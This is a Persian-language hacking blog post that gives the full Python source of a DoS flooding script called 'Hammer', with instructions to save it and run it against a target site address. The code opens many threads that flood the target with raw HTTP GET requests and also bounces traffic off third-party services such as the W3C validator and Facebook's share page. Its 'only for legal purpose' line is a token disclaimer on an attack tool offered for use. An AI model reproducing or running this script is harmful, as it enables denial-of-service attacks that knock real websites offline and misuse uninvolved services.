close
دانلود آهنگ جدید
سورس Python برای DDOS
...

Hackers-Mania

سورس Python برای DDOS

ا

 

Code complement via S.s. Hacker (Chat.HMHT)

 

 

برای استفاده سیوش کنید تو هرجا خواستید... بعد ترمینال بزنید:

python3 file_name.py -s siteـadress

 

اینم سورس:

 

#!/usr/bin/python3
# -*- coding: utf-8 -*-

# python 3.3.2+ Hammer Dos Script v.1
# by S.s. Hacker
# only for legal purpose


from queue import Queue
from optparse import OptionParser
import time,sys,socket,threading,logging,urllib.request,random

def user_agent():
        global uagent
        uagent=[]
        uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera
12.14")
        uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/2010
0101 Firefox/26.0")
        uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gec
ko/20090913 Firefox/3.5.3")
        uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)
Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
        uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, li
ke Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
        uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.
3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
        uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.
1) Gecko/20090718 Firefox/3.5.1")
        return(uagent)


def my_bots():
        global bots
        bots=[]
        bots.append("http://validator.w3.org/check?uri=")
        bots.append("http://www.facebook.com/sharer/sharer.php?u=")
        return(bots)


def bot_hammering(url):
        try:
                while True:
                        req = urllib.request.urlopen(urllib.request.Request(url,
headers={'User-Agent': random.choice(uagent)}))
                        print("33[92mHM's bot is flooding...33[0m")
                        time.sleep(.1)
        except:
                time.sleep(.1)


def down_it(item):
        try:
                while True:
                        packet = str("GET / HTTP/1.1nHost: "+host+"nn User-Ag
ent: "+random.choice(uagent)+"n"+data).encode('utf-8')
                        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        s.connect((host,int(port)))
                        if s.sendto( packet, (host, int(port)) ):
                                s.shutdown(1)
                                print ("33[94m","33[0m 33[91m <--.:-FLOODI
NG-:.--> 33[0m",time.time())
                        else:
                                s.shutdown(1)
                                print("33[91m       !!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!      shut<->down33[0m")
                        time.sleep(.1)
        except socket.error as e:
                print("33[90m
      NO CONNECTION!33[0m")
                #print("33[91m",e,"33[0m")
                time.sleep(.1)


def dos():
        while True:
                item = q.get()
                down_it(item)
                q.task_done()


def dos2():
        while True:
                item=w.get()
                bot_hammering(random.choice(bots)+"http://"+host)
                w.task_done()


def usage():
        print (''' 33[92m     Flood Dos Script (ping flood) v.1 http://www.hmh
t.ir/
        It is just for server testing script. Your ip is visible. n
        usage : python3 hammer.py [-s] [-p] [-t]
        -h : help
        -s : server ip
        -p : port default 80
        -t : turbo default 135 33[0m''')
        sys.exit()


def get_parameters():
        global host
        global port
        global thr
        global item
        optp = OptionParser(add_help_option=False,epilog="Hammers")
        optp.add_option("-q","--quiet", help="set logging to ERROR",action="stor
e_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
        optp.add_option("-s","--server", dest="host",help="attack to server ip -
s ip")
        optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default
 80")
        optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135
 -t 135")
        optp.add_option("-h","--help",dest="help",action='store_true',help="help
 you")
        opts, args = optp.parse_args()
        logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(messag
e)s')
        if opts.help:
                usage()
        if opts.host is not None:
                host = opts.host
        else:
                usage()
        if opts.port is None:
                port = 80
        else:
                port = opts.port
        if opts.turbo is None:
                thr = 135
        else:
                thr = opts.turbo


# reading headers
global data
headers = open("headers.txt", "r")
data = headers.read()
headers.close()
#task queue are q,w
q = Queue()
w = Queue()


if __name__ == '__main__':
        if len(sys.argv) < 2:
                usage()
        get_parameters()
        print("33[92m",host," port: ",str(port)," turbo: ",str(thr),"33[0m")

        print("33[94mConnecting to hmht.ir...33[0m")
        user_agent()
        my_bots()
        time.sleep(5)
        try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((host,int(port)))
                s.settimeout(1)
        except socket.error as e:
                print("33[91mcheck server ip and port33[0m")
                usage()
        while True:
                for i in range(int(thr)):
                        t = threading.Thread(target=dos)
                        t.daemon = True  # if thread is exist, it dies
                        t.start()
                        t2 = threading.Thread(target=dos2)
                        t2.daemon = True  # if thread is exist, it dies
                        t2.start()
                start = time.time()
                #tasking
                item = 0
                while True:
                        if (item>1800): # for no memory crash
                                item=0
                                time.sleep(.1)
                        item = item + 1
                        q.put(item)
                        w.put(item)
                q.join()
                w.join()
 



Likes : 1266
نظر

بخش نظرات این مطلب


نام
ایمیل (منتشر نمی‌شود) (لازم)
وبسایت
:) :( ;) :D ;)) :X :? :P :* =(( :O @};- :B /:) :S
نظر خصوصی
مشخصات شما ذخیره شود ؟ [حذف مشخصات] [شکلک ها]
کد امنیتیرفرش کد امنیتی


HM

Hackers-Mania